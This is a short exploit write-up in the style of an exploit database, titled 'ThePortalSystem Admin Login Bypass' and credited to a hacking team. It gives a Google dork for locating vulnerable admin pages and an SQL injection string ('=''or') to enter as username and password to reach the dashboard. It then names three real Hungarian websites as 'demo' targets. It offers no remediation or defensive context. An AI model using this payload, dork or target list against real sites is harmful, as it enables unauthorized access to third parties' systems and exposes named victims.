*************************************************** # Exploit Title: ThePortalSystem Admin Login Bypass # Google Dork: intext:"Bejelentkezés Portal" inurl:/admin # Date: 14/01/2020 # Author: 0N3R1D3R # Team: Indonesia To World Team # Tested on: Windows 10 x64 *************************************************** [+] Search the dork in Google [+] Open target [+] Enter username and password with [+] Username: '=''or' [+] Password: '=''or' [+] Vuln? You redirected to dashboard *************************************************** [+] Demo Site [+] http://etresearch.hu/admin/ [+] http://www.forming.hu/admin/ [+] http://www.desszertmester.hu/admin/ *************************************************** Thanks To Indonesia To World Team